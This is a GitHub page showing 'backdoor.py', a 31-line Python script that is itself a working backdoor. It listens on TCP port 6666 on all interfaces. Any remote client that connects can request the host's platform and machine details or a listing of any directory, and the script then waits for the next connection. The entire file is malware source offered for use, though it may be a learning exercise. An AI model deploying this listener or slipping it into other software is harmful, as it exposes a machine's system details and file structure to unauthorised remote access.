-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathbackdoor.py
More file actions
31 lines (28 loc) · 898 Bytes
/
backdoor.py
File metadata and controls
31 lines (28 loc) · 898 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import socket, platform, os
SRV_ADDR = ""
SRV_PORT = 6666
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
while 1:
try:
data = connection.recv(1024)
except: continue
if data.decode('utf-8') == '1':
tosend = platform.platform() + " " + platform.machine()
connection.sendall(tosend.encode())
elif data.decode('utf-8') == '2':
data = connection.recv(1024)
try:
filelist = os.listdir(data.decode('utf-8'))
tosend = ""
for x in filelist:
tosend += "," + x
except:
tosend = "Wrong path"
connection.sendall(tosend.encode())
elif data.decode('utf-8') == '0':
connection.close()
connection, address = s.accept()